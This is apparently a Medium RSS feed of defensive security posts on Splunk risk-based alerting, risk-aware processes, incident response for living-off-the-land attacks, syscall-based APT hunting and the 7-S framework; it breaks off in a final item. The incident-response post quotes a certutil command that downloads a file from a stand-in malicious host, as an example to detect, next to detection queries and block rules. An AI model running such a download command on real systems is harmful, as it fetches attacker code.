<?xml version="1.0" encoding="UTF-8"?><rss xmlns:dc="http://purl.org/dc/elements/1.1/" xmlns:content="http://purl.org/rss/1.0/modules/content/" xmlns:atom="http://www.w3.org/2005/Atom" version="2.0" xmlns:cc="http://cyber.law.harvard.edu/rss/creativeCommonsRssModule.html">
    <channel>
        <title><![CDATA[Stories by Roozbeh Noroozi on Medium]]></title>
        <description><![CDATA[Stories by Roozbeh Noroozi on Medium]]></description>
        <link>https://medium.com/@roozbeh.no?source=rss-7aa730c1b3fd------2</link>
        <image>
            <url>https://cdn-images-1.medium.com/fit/c/150/150/1*h3ED2AZgby-RkEEF75i_gA.jpeg</url>
            <title>Stories by Roozbeh Noroozi on Medium</title>
            <link>https://medium.com/@roozbeh.no?source=rss-7aa730c1b3fd------2</link>
        </image>
        <generator>Medium</generator>
        <lastBuildDate>Fri, 04 Dec 2026 13:16:01 GMT</lastBuildDate>
        <atom:link href="https://medium.com/@roozbeh.no/feed" rel="self" type="application/rss+xml"/>
        <webMaster><![CDATA[yourfriends@medium.com]]></webMaster>
        <atom:link href="http://medium.superfeedr.com/" rel="hub"/>
        <item>
            <title><![CDATA[Why Was Risk-Based Alerting Created in Splunk Enterprise Security?]]></title>
            <link>https://medium.com/@roozbeh.no/why-was-risk-based-alerting-created-in-splunk-enterprise-security-c2a5a7063065?source=rss-7aa730c1b3fd------2</link>
            <guid isPermaLink="false">https://medium.com/p/c2a5a7063065</guid>
            <category><![CDATA[threat-detection]]></category>
            <category><![CDATA[security-operation-center]]></category>
            <category><![CDATA[splunk]]></category>
            <dc:creator><![CDATA[Roozbeh Noroozi]]></dc:creator>
            <pubDate>Sun, 06 Sep 2026 18:42:23 GMT</pubDate>
            <atom:updated>2026-09-06T18:42:23.681Z</atom:updated>
            <content:encoded><![CDATA[<p>One of the greatest challenges facing Security Operations Centers is not a lack of alerts, but the excessive production of alerts that, individually, often have limited operational value. In a traditional SIEM architecture, each correlation search can directly generate an alert or notable event when it detects suspicious behavior. Consequently, SOC analysts face large numbers of alerts, each revealing only a small part of an attacker’s activity.</p><p>A failed login, PowerShell execution, connection to an unknown IP address, creation of a new process, or registry modification might not constitute an attack by itself. However, generating a separate alert for every such behavior can quickly overwhelm the analysts’ queue. The consequences include alert fatigue, longer investigation times, overlooked critical alerts, and declining analyst confidence in the SIEM.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*6tfUIS3dGvtslXBjUk44-Q.png" /></figure><p>Splunk developed Risk-Based Alerting, or RBA, to address this problem. The central philosophy of RBA is that every suspicious behavior should not immediately become an actionable alert. Instead, suspicious activities should first be attributed to the relevant entity, assigned a risk score, and evaluated together over time. When the combination of these activities creates a meaningful level of risk, Splunk generates a higher-confidence finding or alert.</p><h3>The Problem with Traditional Alerting</h3><p>In the traditional model, many detections operate using binary logic: if a condition is met, generate an alert; otherwise, take no action. For example, if PowerShell runs with an encoded parameter, a notable event might be created.</p><p>In the real world, however, PowerShell usage is not necessarily malicious. System administrators, management tools, and legitimate enterprise applications may also use it. Analysts must therefore open each alert, obtain additional context, and determine whether the activity is legitimate or malicious.</p><p>Furthermore, professional attackers are rarely exposed through a single event. They usually perform a sequence of relatively weak, distributed, and sometimes seemingly legitimate actions. An attacker might first access an account from an unusual country, execute PowerShell, collect Active Directory information, and finally connect to a sensitive server. Each individual activity might be insufficient to declare an incident, but their combination tells a very different story.</p><h3>Shifting the Focus from Alerts to Entities</h3><p>RBA shifts the focus from a “suspicious event” to an “entity at risk.” In Splunk, this entity may be represented as an Entity or Risk Object and can include a user, system, server, IP address, service account, or another organizational asset.</p><p>When a detection identifies suspicious behavior, instead of necessarily generating a final alert, it assigns a risk score to the associated entity. For example:</p><ul><li>Login from an unusual geographic location: 20 points</li><li>Encoded PowerShell execution: 30 points</li><li>Abnormal access to a sensitive file: 25 points</li><li>EDR being disabled: 50 points</li></ul><p>If all these activities relate to the user Ali or the system PC-21, the scores and evidence are aggregated around that entity. The analyst no longer faces four disconnected alerts. Instead, the analyst sees one entity that has performed several related suspicious activities and has reached a significant level of risk.</p><p>This change in perspective is crucial. An attacker may change tools, IP addresses, execution methods, or malware, but to achieve an objective, the attacker must ultimately affect the organization’s identities, systems, and data. RBA attempts to expose this cumulative impact.</p><h3>What Is an Intermediate Finding?</h3><p>In recent versions of Splunk Enterprise Security, the initial results of risk-based detections are commonly recorded as Intermediate Findings. An Intermediate Finding can be considered a piece of evidence: an activity that is suspicious but might not independently justify declaring a security incident.</p><p>These findings are recorded with information such as the entity, entity type, risk score, detection name, event time, and MITRE ATT&amp;CK mappings. A finding-based detection can aggregate these Intermediate Findings within a defined time window. If certain conditions are met — such as the total risk score exceeding a threshold, the occurrence of multiple techniques, or the involvement of a sensitive asset — a more significant finding can be generated for analyst investigation.</p><p>RBA therefore does not eliminate smaller detections; it changes their role. Instead of directly generating hundreds of alerts, they produce pieces of evidence that collectively complete the picture of an attack.</p><h3>Reducing Alert Fatigue and Increasing Fidelity</h3><p>One of the main objectives of RBA is to reduce the number of alerts that directly enter the Analyst Queue. However, reducing alert volume must not be confused with reducing detection capability. RBA can record a larger number of weak suspicious behaviors without creating a separate ticket or incident for each one.</p><p>For example, a detection with a relatively high false-positive rate might be disabled in a traditional model because it overwhelms the SOC queue. Under RBA, the same detection can remain active with a low risk score. If the behavior occurs alongside other suspicious activities, its investigative value increases. Detection evidence is therefore preserved, but the analyst becomes involved only when the combined evidence reaches a meaningful level.</p><p>This approach increases the fidelity of the final alert. Fidelity refers to how reliable, relevant, and actionable an alert is. A finding created from several related behaviors generally provides more context and credibility than an alert generated from a single isolated event.</p><h3>Incorporating Asset and Identity Importance into Detection</h3><p>The technical severity of an event is not always equal to its business risk. Running an administrative tool on a laboratory workstation does not carry the same significance as running it on a domain controller or financial server. Similarly, suspicious behavior by an ordinary user should not necessarily be prioritized in the same way as identical behavior performed by a domain administrator.</p><p>RBA allows asset and identity information, system sensitivity, user privilege levels, and other contextual factors to influence risk evaluation. Risk factors can increase or decrease an activity’s score based on its context. Prioritization therefore moves beyond purely technical severity and becomes more closely aligned with the organization’s actual risk.</p><h3>A Risk Score Is Not the Probability of an Attack</h3><p>A common mistake is to interpret a risk score as the percentage probability that an attack has occurred. A score of 80 does not mean there is an 80 percent probability of an attack. A risk score is a relative measurement used to compare, aggregate, and prioritize entities.</p><p>Organizations should define these scores based on behavioral severity, detection confidence, asset value, identity privilege, and potential impact. If scores are assigned without a clear methodology, RBA can become little more than a numbers game. Likewise, using a single fixed threshold for every user, system, and scenario is generally not an effective design.</p><h3>The Relationship Between RBA, Risk Timeline, and Threat Topology</h3><p>After risk events have accumulated, tools such as Risk Timeline show analysts how an entity’s risk increased over time and which activities contributed to that increase.</p><p>Threat Topology displays relationships between different entities and a shared Threat Object. For example, a user and several systems might be associated with the same malicious file hash. This visualization helps analysts determine the scope of an incident more quickly and understand which users and systems have been affected by the same threat.</p><h3>Requirements for Successful RBA</h3><p>RBA does not succeed merely by enabling a few features in Splunk. An organization needs reliable detections, normalized data, asset and identity context, a documented scoring methodology, appropriate time windows, and a continuous tuning process.</p><p>The organization must also determine which behaviors should only generate risk events and which high-confidence behaviors require an immediate alert. For example, disabling EDR on a critical server might justify an immediate alert without waiting for risk scores to accumulate. RBA is therefore not a replacement for every high-confidence alert; it complements such alerts and provides a better way to manage ambiguous and multistage behavior.</p><p>Ultimately, RBA was created to transform a SIEM from an “alert factory” into a platform capable of reconstructing, prioritizing, and explaining the story of an attack. Its real value lies in combining weak evidence, adding context, and focusing analysts on entities exhibiting multiple meaningful and related behaviors.</p><p>Perhaps the best way to describe RBA is:</p><p><strong>Not every suspicious behavior is an incident, but every suspicious behavior can be a piece of an incident’s puzzle.</strong></p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=c2a5a7063065" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[Understanding Risk-Aware Processes in Modern Organizations as an ISSMP]]></title>
            <link>https://medium.com/@roozbeh.no/understanding-risk-aware-processes-in-modern-organizations-as-an-issmp-07b44a2265a9?source=rss-7aa730c1b3fd------2</link>
            <guid isPermaLink="false">https://medium.com/p/07b44a2265a9</guid>
            <category><![CDATA[cybersecurity]]></category>
            <category><![CDATA[process-improvement]]></category>
            <category><![CDATA[cissp]]></category>
            <category><![CDATA[risk-management]]></category>
            <dc:creator><![CDATA[Roozbeh Noroozi]]></dc:creator>
            <pubDate>Wed, 08 Jan 2025 13:02:03 GMT</pubDate>
            <atom:updated>2025-01-08T13:02:03.036Z</atom:updated>
            <content:encoded><![CDATA[<figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*vtfMKwAm1RwGeGzpZLLOWA.png" /><figcaption><a href="https://www.linkedin.com/pulse/how-does-process-design-review-help-you-achieve-your-">https://www.linkedin.com/pulse/how-does-process-design-review-help-you-achieve-your-</a></figcaption></figure><p>In today’s volatile and fast-paced business environment, organizations are exposed to a myriad of risks ranging from cyber threats to operational inefficiencies. To thrive, businesses must not only identify and mitigate these risks but also integrate a proactive approach into their decision-making and operational workflows. This is where risk-aware processes come into play.<br><strong>What Are Risk-Aware Processes?</strong><br>Risk-aware processes refer to workflows and decision-making frameworks that incorporate risk identification, assessment, and management as integral components. Rather than treating risk management as an afterthought or separate function, risk-aware processes ensure that it is embedded into the organization’s daily operations, strategies, and culture.</p><p>These processes aim to:<br>-Identify potential risks early in the decision-making process.<br>-Analyze the impact of these risks on business objectives.<br>-Mitigate risks through informed decision-making.<br>-Continuously monitor and adapt to new or evolving risks.</p><p><strong>Key Components of a Risk-Aware Process</strong><br>1-Risk Identification<br>Organizations must establish methods to identify risks across all domains — financial, operational, legal, and cybersecurity. Tools like risk assessments, audits, and stakeholder consultations are crucial in uncovering both obvious and latent risks.<br>2-Risk Assessment and Prioritization<br>Not all risks are equal. Risk-aware processes employ qualitative and quantitative methods to evaluate the likelihood and potential impact of risks, allowing organizations to prioritize resources effectively.<br>3-Integration into Workflows<br>Risk-awareness must be embedded in standard operating procedures. For instance, project managers might include risk mitigation strategies in project plans, while IT teams incorporate risk management into system development lifecycles.<br>4-Continuous Monitoring<br>Risk landscapes are dynamic, especially in industries like cybersecurity. Real-time monitoring tools, predictive analytics, and regular audits help organizations stay ahead of emerging risks.<br>5-Communication and Training<br>Risk awareness is not confined to the C-suite. It must permeate all levels of the organization. Training employees to recognize and report risks creates a culture of collective vigilance.</p><p><strong>Benefits of Risk-Aware Processes</strong><br>1-Enhanced Decision-Making<br>By factoring in potential risks, organizations can make more informed and balanced decisions that align with their strategic objectives.<br>2-Operational Resilience<br>Risk-aware processes help organizations adapt to unexpected disruptions, minimizing downtime and financial losses.<br>3-Regulatory Compliance<br>Many industries require adherence to strict regulatory standards. Risk-aware processes help ensure compliance, avoiding penalties and reputational damage.<br>4-Improved Stakeholder Confidence<br>Investors, customers, and partners are more likely to trust organizations that demonstrate a proactive approach to risk management.</p><p><strong>Implementing Risk-Aware Processes</strong><br>To implement risk-aware processes effectively, organizations should:<br>1-Adopt Risk Management Frameworks<br>Frameworks such as ISO 31000, COSO ERM, or NIST’s Risk Management Framework provide structured approaches to embedding risk management.<br>2-Leverage Technology<br>Tools like governance, risk, and compliance (GRC) software, data analytics platforms, and artificial intelligence can automate risk assessments and provide actionable insights.<br>3-Foster a Risk-Aware Culture<br>Leadership must champion risk awareness, ensuring it is integrated into the organization’s values and behaviors.<br>4-Evaluate and Iterate<br>Regularly review and update risk-aware processes to align with evolving business needs and external threats.</p><p><strong>Challenges in Adopting Risk-Aware Processes</strong><br>-Resistance to Change: Employees and stakeholders may resist altering established workflows.<br>-Resource Constraints: Small organizations might lack the resources to implement sophisticated risk management systems.<br>-Complex Risk Landscapes: Globalization and digitalization introduce interconnected risks that are difficult to manage.<br>Organizations must address these challenges through effective change management strategies and scalable risk management practices.</p><p><strong>Conclusion</strong><br>Risk-aware processes are essential for building resilient organizations capable of navigating uncertainty. By embedding risk management into their DNA, businesses can safeguard their operations, enhance stakeholder trust, and create a sustainable competitive advantage. Whether through adopting frameworks, leveraging technology, or fostering a risk-aware culture, organizations must make risk management a continuous and integral part of their journey to success.</p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=07b44a2265a9" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[Refining IR Plan after emerging new threat. An example for ISSMP]]></title>
            <link>https://medium.com/@roozbeh.no/refining-ir-plan-after-emerging-new-threat-an-example-for-issmp-b2748c5a4dc6?source=rss-7aa730c1b3fd------2</link>
            <guid isPermaLink="false">https://medium.com/p/b2748c5a4dc6</guid>
            <category><![CDATA[threat-intelligence]]></category>
            <category><![CDATA[incident-management]]></category>
            <category><![CDATA[risk-management]]></category>
            <category><![CDATA[cybersecurity]]></category>
            <category><![CDATA[incident-response]]></category>
            <dc:creator><![CDATA[Roozbeh Noroozi]]></dc:creator>
            <pubDate>Mon, 09 Dec 2024 16:35:12 GMT</pubDate>
            <atom:updated>2024-12-09T16:35:12.847Z</atom:updated>
            <content:encoded><![CDATA[<figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/0*o1BTUVhHxNbbjS59" /></figure><p>Let’s compare the IRP <strong>before</strong> and <strong>after</strong> the emergence of the <strong>“Living off the Land” (LotL) attack vector</strong>. This attack involves using legitimate tools (like PowerShell, WMI, or certutil) to evade detection.</p><h3>🔴 Before the New Attack Emerges (Traditional IRP)</h3><h4>1️⃣ Threat Detection and Identification</h4><ul><li><strong>Detection Tools</strong>: Antivirus, EDR, SIEM (basic rules for known malware, file hashes, and simple IOCs).</li><li><strong>Detection Gaps</strong>:</li></ul><p>Relies on <strong>static IOCs</strong> (file hashes, IPs, and domains).</p><p>No behavioral analytics for legitimate tools like PowerShell.</p><p>No alerts for <strong>“non-malicious” executables</strong> (e.g., certutil.exe, mshta.exe).</p><h4>2️⃣ Containment and Isolation</h4><ul><li><strong>Containment Approach</strong>:</li></ul><p>Focused on isolating systems with known malware binaries.</p><p>If no malware is found, system isolation is delayed.</p><p>Heavy reliance on human intervention, which increases containment time.</p><h4>3️⃣ Eradication</h4><ul><li><strong>Removal Process</strong>: Delete files and malware binaries.</li><li><strong>Gaps</strong>:</li></ul><p>LotL attacks don’t leave behind binaries.</p><p>Tools like <strong>certutil.exe</strong> are legitimate and can’t be “deleted.”</p><h4>4️⃣ Recovery</h4><ul><li><strong>Restoration Process</strong>:</li></ul><p>Recover encrypted files.</p><p>Reinstall clean OS images.</p><ul><li><strong>Gaps</strong>:</li></ul><p>Since no malware binary exists, teams may misclassify the event as a “false positive.”</p><p>Systems might be restored, but attackers maintain backdoors using <strong>LotL persistence mechanisms</strong> (scheduled tasks, WMI, registry keys, etc.).</p><h4>5️⃣ Lessons Learned</h4><ul><li><strong>Review Process</strong>: Focused on known malware, missed advanced LotL techniques.</li><li><strong>Training Gaps</strong>: IR team focuses on signature-based threats, not “non-malware” attacks.</li></ul><h3>🟢 After the New Attack Emerges (Updated IRP for LotL Attack)</h3><p>After <strong>LotL attacks</strong> like APTs (e.g., FIN7 or SolarWinds attack), the IRP must be revised to handle <strong>fileless malware</strong> and <strong>living-off-the-land attacks</strong>.</p><h4>1️⃣ Threat Detection and Identification (BEFORE vs. AFTER)</h4><figure><img alt="" src="https://cdn-images-1.medium.com/max/827/1*zTrh3SmWlkEvJ72rGoVHKg.png" /></figure><p><strong>IRP Update (Action):</strong></p><ul><li>Configure <strong>Splunk</strong> to track abnormal command-line execution.</li><li>Deploy <strong>Sysmon</strong> to capture execution of PowerShell, WMI, and mshta activity.</li><li>Add alerting rules for TTPs related to <strong>LotL techniques</strong> from <strong>MITRE ATT&amp;CK (T1218 — Signed Binary Proxy Execution)</strong>.</li></ul><h4>2️⃣ Containment and Isolation (BEFORE vs. AFTER)</h4><figure><img alt="" src="https://cdn-images-1.medium.com/max/830/1*JjS-GQBsECjCGnOqyDt5Kw.png" /></figure><p><strong>IRP Update (Action):</strong></p><ul><li>Enable <strong>EDR auto-containment</strong> for behaviors like:</li></ul><p>PowerShell execution with Base64-encoded commands</p><p>Certutil.exe contacting external domains</p><ul><li>Introduce <strong>application allowlisting</strong> to block non-administrators from using <strong>certutil.exe, mshta.exe, and PowerShell</strong>.</li></ul><h4>3️⃣ Eradication (BEFORE vs. AFTER)</h4><figure><img alt="" src="https://cdn-images-1.medium.com/max/822/1*R5kUZQvFa0FUDi7dLrYu8A.png" /></figure><p><strong>IRP Update (Action):</strong></p><ul><li>Add playbook steps to check for <strong>LotL persistence mechanisms</strong>.</li></ul><p>Run PowerShell scripts to scan for hidden WMI subscriptions.</p><p>Check the Windows <strong>Run</strong> registry keys for rogue scripts or <strong>Startup folders</strong>.</p><p>Look for <strong>shadow accounts</strong> or backdoors.</p><ul><li>Use <strong>Sysmon</strong> to detect persistent malware with obscure names like winupdt.exe in <strong>non-standard directories</strong>.</li></ul><h4>4️⃣ Recovery (BEFORE vs. AFTER)</h4><figure><img alt="" src="https://cdn-images-1.medium.com/max/817/1*0mGxfT_23EBtIPcobK_8gw.png" /></figure><p><strong>IRP Update (Action):</strong></p><ul><li>Add a step to <strong>review Active Directory</strong> for backdoor user accounts.</li><li>Automate <strong>security validation scripts</strong> to check for hidden persistence.</li><li>Require a <strong>“post-restoration security check”</strong> before re-joining a system to the network.</li></ul><h4>5️⃣ Lessons Learned (BEFORE vs. AFTER)</h4><figure><img alt="" src="https://cdn-images-1.medium.com/max/825/1*optTSqTbgDvll3c9Ny_irQ.png" /></figure><p><strong>IRP Update (Action):</strong></p><ul><li>Review the incident with the SOC team and <strong>update Splunk dashboards</strong> to detect abnormal PowerShell usage.</li><li>Share <strong>MITRE ATT&amp;CK knowledge</strong> with SOC analysts (e.g., T1218 and T1059 — Command Line Interface).</li><li>Conduct <strong>tabletop exercises</strong> for LotL attacks (like SolarWinds-style attacks).</li></ul><h3>Summary of Key Changes (Before vs. After)</h3><figure><img alt="" src="https://cdn-images-1.medium.com/max/823/1*SeOeVn5fqtH5jZSsntCB5Q.png" /></figure><h3>🛠️ Tools to Update IRP for LotL Attacks</h3><p><strong>A-Splunk Use Case:</strong></p><ul><li>Detect commands like certutil.exe -urlcache -f <a href="http://malicious-site/file.exe">http://malicious-site/file.exe</a></li><li>Use <strong>Splunk queries</strong> to detect execution of <strong>Base64 encoded PowerShell scripts</strong>.</li><li>Example query:</li></ul><p>index=main sourcetype=wineventlog EventCode=4104<br>| search “FromBase64String”</p><p><strong>B-MITRE ATT&amp;CK Alignment</strong>:</p><ul><li>T1218: <strong>Signed Binary Proxy Execution</strong></li><li>T1059: <strong>Command and Scripting Interpreter (PowerShell)</strong></li></ul><p><strong>C-Tools</strong>:</p><ul><li><strong>Sysmon</strong>: Detect PowerShell, mshta, WMI abuse.</li><li><strong>Application Control</strong>: Block PowerShell, certutil for non-admin users.</li><li><strong>XDR/EDR</strong>: Auto-contain LotL attacks.</li></ul><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=b2748c5a4dc6" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[Hunting APT with Syscall monitoring: Real Scenario]]></title>
            <link>https://medium.com/@roozbeh.no/hunting-apt-with-syscall-monitoring-real-scenario-614964cbebad?source=rss-7aa730c1b3fd------2</link>
            <guid isPermaLink="false">https://medium.com/p/614964cbebad</guid>
            <category><![CDATA[cybersecurity]]></category>
            <category><![CDATA[risk]]></category>
            <category><![CDATA[threat-hunting]]></category>
            <category><![CDATA[siem]]></category>
            <category><![CDATA[linux]]></category>
            <dc:creator><![CDATA[Roozbeh Noroozi]]></dc:creator>
            <pubDate>Sun, 08 Dec 2024 05:40:49 GMT</pubDate>
            <atom:updated>2024-12-08T05:40:49.566Z</atom:updated>
            <content:encoded><![CDATA[<figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*FkQZ5EJaKT-xPxH17ttG-Q.png" /><figcaption>devops-insider.mygraphql.com</figcaption></figure><p>A syscall (short for system call) is a mechanism used by applications to request services from the operating system’s kernel. Since user-space applications don’t have direct access to hardware or critical system resources (like memory, files, or devices), they use syscalls as a bridge to interact with these system resources in a controlled and secure manner.</p><h3>How a Syscall Works</h3><ol><li>User-Space Request: A user-space application (like a browser or text editor) needs access to system resources (like opening a file or allocating memory).</li><li>Trap/Interrupt: The application triggers a trap (a special kind of CPU instruction) to switch the CPU from user mode to kernel mode.</li><li>Kernel Execution: The kernel identifies the syscall number (each syscall has a unique number) and calls the corresponding function in the kernel.</li><li>Return to User Space: The result of the syscall (like file content or an error code) is returned to the application, and the CPU switches back to user mode.</li></ol><h3>Why Are Syscalls Important?</h3><ul><li>Abstraction: Developers can work with high-level APIs (like fopen() in C) instead of dealing directly with hardware.</li><li>Security: By separating user-space from kernel-space, syscalls prevent applications from directly manipulating sensitive resources.</li><li>Efficiency: The kernel manages access to resources efficiently, avoiding conflicts or unsafe operations.</li></ul><h3>Examples of Common Syscalls</h3><figure><img alt="" src="https://cdn-images-1.medium.com/max/809/0*OjynG0KF7DmtX58R" /></figure><h3>How to View Syscalls</h3><ul><li>Linux strace: You can trace syscalls made by a process : strace ls</li><li>View available syscalls: man 2 syscalls</li><li>View syscall table (x86/x64): less /usr/include/asm/unistd_64.h</li></ul><h3>Security Implications</h3><ol><li>Least Privilege: Apps are limited in what syscalls they can make, reducing the attack surface.</li><li>Sandboxing: Tools like seccomp can restrict which syscalls a process is allowed to make.</li><li>Vulnerability Exploitation: Syscalls can be exploited (like using execve() in privilege escalation).</li></ol><h3>Example of System Call Monitoring Leading to Detecting an APT Context:</h3><p>Advanced Persistent Threats (APTs) often use sophisticated techniques to maintain stealthy, long-term access to a target system. Detecting them requires behavioral analysis rather than simple signature matching. System call monitoring plays a vital role in this approach. Example: Detection of APT “FIN7” Using System Call Anomalies</p><p>1. APT Activity FIN7, a well-known cybercrime group, uses custom malware like Carbanak and GRIFFON to exfiltrate sensitive financial information. Their attack sequence often includes:</p><p>Dropping a backdoor to achieve persistence.</p><p>Running fileless malware via PowerShell or exploiting Windows Management Instrumentation (WMI).</p><p>Collecting and exfiltrating data via command-and-control (C2) servers.</p><p>2. Anomaly in System Calls When monitoring system calls, security tools (like EDR or XDR solutions) might detect abnormal sequences of low-level calls, including:</p><p>Suspicious Process Creation: Use of NtCreateProcess, CreateProcessInternalW, or fork() (on Linux) to spawn suspicious child processes like cmd.exe or powershell.exe without user interaction.</p><p>Unusual Memory Operations: VirtualAlloc, NtWriteVirtualMemory, and CreateRemoteThread can reveal signs of process injection or code execution.</p><p>Fileless Malware Execution: Calls like NtReadVirtualMemory and NtProtectVirtualMemory are indicators of in-memory payload injection.</p><p>Lateral Movement: Uncommon usage of WNetAddConnection2 or NtCreateFile to access network shares for lateral movement.</p><h3>Real-world Example:</h3><p>Anomalies detected in process execution like:</p><p>powershell.exe → regsvr32.exe → rundll32.exe (a classic living-off-the-land (LOLBAS) attack chain)</p><p>Virtual memory allocation + remote thread creation (hallmark of process hollowing) This abnormal system call sequence raised an alert in an XDR/EDR system.</p><p>3. Detection and Correlation Modern tools like Sysmon, Falcon CrowdStrike, and TrendMicro Vision One can correlate these system calls with known APT tactics. Analyzing system call telemetry might reveal:</p><p>High frequency of uncommon calls (like NtWriteVirtualMemory) within a short period.</p><p>Fileless Malware Detection: Detection of PowerShell commands directly executing from memory.</p><p>Unusual Process Trees: Parent-child process anomalies detected by EDR tools (e.g., Microsoft Defender ATP).</p><p>4. MITRE ATT&amp;CK Techniques Linked to System Call Anomalies</p><p>T1055 — Process Injection: Use of NtWriteVirtualMemory and CreateRemoteThread.</p><p>T1059 — Command and Scripting Interpreter: Detection of PowerShell-based attacks.</p><p>T1083 — File and Directory Discovery: Calls to NtQueryDirectoryFile to enumerate files.</p><p>T1574 — Hijack Execution Flow: DLL injection using system calls like NtCreateSection.</p><p>5. Final Detection and Response Once system call anomalies are detected, the Threat Intelligence system flags it as suspicious. This might trigger automatic responses like:</p><p>Blocking execution via EDR quarantine.</p><p>Isolating endpoints to prevent lateral movement.</p><p>Investigating the root cause via log correlation in SIEM or XDR.</p><p>Summary By monitoring system calls, APT activity can be detected even when attackers use fileless malware or LOLBAS techniques. Calls like NtWriteVirtualMemory, CreateRemoteThread, and VirtualProtectEx often act as early indicators of process injection or in-memory attacks. Tools like Sysmon, CrowdStrike, and TrendMicro Vision One can detect and link these calls to known attack tactics.</p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=614964cbebad" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[How to use The McKinsey 7-S Framework as an ISSMP]]></title>
            <link>https://medium.com/@roozbeh.no/how-to-use-the-mckinsey-7-s-framework-as-an-issmp-392551282946?source=rss-7aa730c1b3fd------2</link>
            <guid isPermaLink="false">https://medium.com/p/392551282946</guid>
            <category><![CDATA[leadership]]></category>
            <category><![CDATA[pmp]]></category>
            <category><![CDATA[project-management]]></category>
            <category><![CDATA[cybersecurity]]></category>
            <category><![CDATA[strategic-planning]]></category>
            <dc:creator><![CDATA[Roozbeh Noroozi]]></dc:creator>
            <pubDate>Mon, 25 Nov 2024 12:00:49 GMT</pubDate>
            <atom:updated>2024-11-25T12:00:49.802Z</atom:updated>
            <content:encoded><![CDATA[<figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*IBUWh7gluoVpgYjrTto7Lw.png" /></figure><p>The McKinsey 7-S Framework is a powerful tool for ISSMPs (Information Systems Security Management Professionals) to analyze and align various organizational elements for effective security leadership and management. As an ISSMP, you can use this framework to evaluate and optimize how security initiatives align with organizational goals, ensuring that security strategies are both effective and integrated across the enterprise.</p><p>Here’s how you can apply the 7-S Framework in the context of security leadership and management:<br>1. Strategy</p><p>-Definition: The overarching plan or approach to achieve security objectives and support business goals.<br> -Application:<br> ++Develop and align security strategies with organizational objectives (e.g., compliance, risk management, incident response).<br>++ Ensure the security strategy supports business continuity, resilience, and competitive advantage.<br> ++Communicate the importance of the security strategy to stakeholders.</p><p>Example: Create a cybersecurity roadmap that aligns with the organization’s 5-year business plan, emphasizing digital transformation securely.<br>2. Structure</p><p>-Definition: The organizational hierarchy and roles related to security.<br> -Application:<br> ++Define reporting lines, especially for the security team, ensuring clear accountability (e.g., CISO -&gt; Board/CEO).<br> ++Integrate security into enterprise architecture and ensure cross-department collaboration.<br> ++Use matrix or hybrid structures to enhance communication between IT, HR, and legal for security matters.</p><p>Example: Establish a Security Operations Center (SOC) and clarify its role in supporting business units during an incident.<br>3. Systems</p><p>-Definition: Processes, workflows, and tools used for security and risk management.<br>- Application:<br>++ Implement systems for incident detection, response, vulnerability management, and compliance tracking.<br> ++Ensure security processes (e.g., audits, risk assessments, patch management) are well-documented and automated where possible.<br> ++Evaluate the effectiveness of current tools and processes, and update as needed.</p><p>Example: Deploy a SIEM (Security Information and Event Management) solution and establish processes for monitoring and escalation.<br>4. Shared Values</p><p>-Definition: The core values and culture that drive security priorities.<br> -Application:<br>++ Foster a security-conscious culture across the organization.<br> ++Use security awareness programs to ensure all employees understand their role in protecting assets.<br> ++Align security values with organizational ethics and mission statements.</p><p>Example: Promote a “Security First” mindset where employees report phishing attempts without fear of reprisal.<br>5. Skills</p><p>-Definition: The competencies and expertise within the security team and across the organization.<br> -Application:<br> ++Identify skill gaps and provide training to enhance capabilities in areas like incident response, compliance, or forensic investigation.<br> ++Leverage certifications (e.g., CISSP, ISSMP) and ongoing education to maintain team proficiency.<br> ++Encourage cross-training between departments to integrate security into broader workflows.</p><p>Example: Conduct regular tabletop exercises to improve incident response capabilities.<br>6. Style</p><p>-Definition: Leadership and management approach for security initiatives.<br> -Application:<br> ++Adopt a collaborative leadership style to integrate security into business processes.<br>++ Balance assertiveness in enforcing security with flexibility to adapt to business needs.<br> ++Demonstrate commitment to security by participating in and supporting security initiatives visibly.</p><p>Example: As an ISSMP, lead by example by personally championing risk assessments and attending cross-functional meetings to highlight security concerns.<br>7. Staff</p><p>-Definition: The people involved in security, including their roles, responsibilities, and engagement.<br> -Application:<br> ++Ensure the security team has the right mix of expertise, experience, and diversity.<br> ++Define clear roles and responsibilities for everyone involved in security, including IT, HR, and legal teams.<br> ++Regularly assess workload and staffing levels to prevent burnout and ensure sustainability.</p><p>Example: Assign dedicated roles for compliance, risk management, and incident response, and rotate responsibilities to maintain team engagement.</p><p>How to Use the Framework as an ISSMP</p><p>Assessment:<br> Conduct an evaluation of the current state for each of the 7 elements within the context of security.<br> Identify gaps or misalignments (e.g., strong tools but weak skills).</p><p>Planning:<br> Develop an action plan to address gaps and ensure alignment between all elements.<br> Prioritize initiatives based on impact and feasibility.</p><p>Implementation:<br> Roll out improvements systematically, starting with the most critical areas.<br> Communicate changes to all stakeholders and provide training where necessary.</p><p>Monitoring:<br> Use metrics and KPIs to track the success of initiatives (e.g., incident response time, compliance scores).<br> Regularly review the framework to adapt to changes in business goals or the threat landscape.</p><p>By aligning the 7-S Framework to your ISSMP responsibilities, you ensure a holistic approach to managing security that integrates seamlessly into the organization, enhancing both operational resilience and strategic effectiveness.</p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=392551282946" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[Building a Holistic Security Architecture with BMIS and COBIT]]></title>
            <link>https://medium.com/@roozbeh.no/building-a-holistic-security-architecture-with-bmis-and-cobit-330bf249b2d4?source=rss-7aa730c1b3fd------2</link>
            <guid isPermaLink="false">https://medium.com/p/330bf249b2d4</guid>
            <category><![CDATA[cybersecurity]]></category>
            <category><![CDATA[information-architecture]]></category>
